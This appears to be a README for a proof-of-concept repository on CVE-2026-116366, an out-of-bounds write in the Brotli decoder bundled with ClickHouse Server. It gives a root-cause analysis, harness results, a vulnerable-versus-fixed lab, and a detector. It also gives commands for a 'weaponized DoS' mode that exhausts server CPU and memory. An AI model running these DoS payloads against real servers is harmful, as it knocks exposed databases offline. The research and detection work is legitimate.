
PoC, differential detector, weaponized DoS, and containerized vulnerable-vs-fixed lab for CVE-2026-116366, an unauthenticated RCE in ClickHouse via a Brotli decoder OOB write.
PoC, containerized lab, and root-cause analysis for CVE-2026-116366
(CVSS 4.0 9.5 CRITICAL, AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H),
an unauthenticated remote code execution vulnerability in ClickHouse Server
caused by an out-of-bounds write in the bundled Brotli decoder v1.2.0
(the same root cause as CVE-2026-111497).
| Affected (OSS) | 26.3 < 26.3.62.3-lts, 26.8 < 26.8.36.3-lts, 26.9 < 26.9.27.3-stable, 26.10 < 26.10.3.7-stable (default status: affected) |
| Fixed builds | v26.3.62.3-lts / v26.8.36.3-lts / v26.9.27.3-stable / v26.10.3.7-stable (2026-10-30) |
| Introduced | ClickHouse a4e1ef85eb (2026-09-09) — contrib brotli bump v1.0.9 → v1.2.0 |
| Fixed by | ClickHouse 9f973a1aea (2026-10-22) — contrib bump to v1.2.1 (b418fa81c4 "Detect and report invalid stream earlier") |
| CWE | CWE-190 (vendor record) — memory-safety class: OOB write |
| Reporter (to vendor) | Elshad Toklayev |
ClickHouse Server ≥ 26.3 (since the 2026-09-09 brotli bump) bundles brotli
v1.2.0, whose decoder mishandles an illegal block switch: a stream that
declares a single block type for literals/commands/distances and then requests
a block switch makes DecodeBlockTypeAndLength() fail — but the failure is
indistinguishable from "needs more input" and is silently discarded. The
decoder keeps running with corrupted state (block_length == 0, stale Huffman
tree pointers, broken ring-buffer position invariant), which produces:
ProcessCommandsInternal() (the ringbuffer_size >= pos guard is skipped
once pos runs out of range) — RCE-class, heap-layout dependent
(CVSS AC:H);The bug is reachable pre-authorization on the data plane: any HTTP
interface (8123/8443) that accepts the request wraps the body in
BrotliReadBuffer when Content-Encoding: br is set. On the widespread
default self-hosted configuration (default user, empty password, non-localhost
listen_host) this is unauthenticated — exactly the "certain conditions"
the advisory describes.
contrib/brotli (v1.2.0) c/dec/decode.c:
static BROTLI_INLINE BROTLI_BOOL DecodeBlockTypeAndLength( // returns BOOL!
int safe, BrotliDecoderState* s, int tree_type) {
brotli_reg_t max_block_type = s->num_block_types[tree_type];
...
if (max_block_type <= 1) {
return BROTLI_FALSE; // "invalid stream" ...
} // ... same return value as "need input"
...
}
static void BROTLI_NOINLINE DecodeCommandBlockSwitch(...) { // void wrapper
DecodeCommandBlockSwitchInternal(0, s); // result dropped
}
#define BROTLI_SAFE(METHOD) { if (safe) { if (!Safe##METHOD) { \
result = NEEDS_MORE_INPUT; goto saveStateAndReturn; } } else { METHOD; } }
BROTLI_FALSE means both "temporarily out of input" and "this stream is
illegal". The unsafe fast path calls the void wrapper and ignores the
result entirely; the safe path parks the decoder in NEEDS_MORE_INPUT
forever. Either way the corrupted state (block length 0, ring-buffer
position out of range) is carried into the copy loop:
/* CommandInner, unsafe literal copy */
if (s->ringbuffer_size >= pos &&
(s->ringbuffer_size - pos) <= num_steps) {
num_steps = s->ringbuffer_size - pos - 1; // only clamped when pos <= size
}
num_steps = BrotliCopyPreloadedSymbolsToU8(..., s->ringbuffer, pos, num_steps);
// OOB write when pos > size
The v1.2.1 fix (ClickHouse brotli b418fa81c4) converts the whole family to
BrotliDecoderErrorCode, adds BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH
(-17), and checks it in both paths via the new BROTLI_SAFE_WITH_STATUS
macro. It also adds BROTLI_DCHECK(s->meta_block_remaining_len <= (int)BROTLI_BLOCK_SIZE_CAP).
$ ./build-v120/harness-clean poc-err.br 4096 # ClickHouse 26.10.2.103 decoder
result=0 error=-9 (_ERROR_FORMAT_BLOCK_LENGTH_1) consumed=19/38 produced=16777216
$ ./build-v121/harness poc-err.br 4096 # ClickHouse 26.10.3.7 decoder
result=0 error=-17 (_ERROR_FORMAT_BLOCK_SWITCH) consumed=22/38 produced=16777216
$ timeout -s KILL 6 ./build-v120/harness-clean poc-dos.br 4096
Killed (exit 137 — decoder NEVER returns: permanent CPU spin)
$ ./build-v121/harness poc-dos.br 4096
result=0 error=-17 (_ERROR_FORMAT_BLOCK_SWITCH) ...
The instrumented vulnerable build shows the discarded failure directly:
[DBG] >>> INVALID BLOCK SWITCH hit (tree_type=0 max=1) safe=1 pos=2 — returning FALSE, WILL BE DISCARDED <<<
lab/
├── etc-vuln/{config.d,users.d} # listen 0.0.0.0 + empty-password default user
├── etc-fixed/{config.d,users.d}
└── payloads/
├── poc-err.br # trigger + 16×0x00 → error-path differential
└── poc-dos.br # trigger + 64×0x00 → permanent decoder spin
cve-2026-116366-vuln = clickhouse/clickhouse-server:26.10.2.103cve-2026-116366-fixed = clickhouse/clickhouse-server:26.10.3.7python:3.12-slim)./lab.sh up # start both servers (vulnerable + fixed)
./lab.sh detect # run poc.py against both; prints exit codes
./lab.sh dos 64 # weaponized thread/memory exhaustion demo against the vuln host
./lab.sh logs # vuln server logs
./lab.sh teardown
poc.py (stdlib only):
python3 poc.py check --host 127.0.0.1 --port 8123 # fingerprint
python3 poc.py detect --host 127.0.0.1 --port 8123 # exit 1 = VULNERABLE, 0 = PATCHED
python3 poc.py dos --host 127.0.0.1 --port 8123 --n 64 # weaponized DoS
detect works as a clean differential:
exit 1);Code: 448 DB::Exception: brotli decode error.
(decoder returned -17 BLOCK_SWITCH) (exit 0).| Test | 26.10.2.103 (vulnerable) | 26.10.3.7 (fixed) |
|---|---|---|
POST /?max_query_size=20000000 + Content-Encoding: br (ERR payload) | Code: 448 after decode error -9 (16 MiB produced first) | Code: 448 instantly, error -17 |
| Same with DOS payload | request never completes — worker thread spins at 100% CPU forever (verified 45+ s of CPU after client disconnect), RSS grows ~60 MB/request (162 MB → 2.99 GB under 150 parallel requests, 1233% CPU) | instant Code: 448 reject |
| 150 parallel DOS requests (4 GB cap) | 2.99 GB RSS, 12+ cores burned, permanent | no effect |
48 parallel DOS requests (lab.sh dos 48) | 48/48 decoders planted, ~90-100% CPU each (500% total), 1.6 GB RSS | n/a |
| Library-level (this repo's harness) | -9 / never returns | -17 both payloads |
| Other pre-fix trains (empirical) | 26.8.34.13-lts and 26.9.25.15-stable: NOT vulnerable (they still bundle brotli v1.0.9 — the v1.2.0 bump only reached released 26.10.x builds before the security release; the CVE ranges are default-status coarse) | — |
RCE conversion (controlled OOB write instead of spin/hang) is
heap-layout dependent (AC:H); the upstream fix advisory classifies the same
bug as "out-of-bounds write permits remote code execution"
(brotli CHANGELOG for v1.2.1, crediting CVE-2026-111497).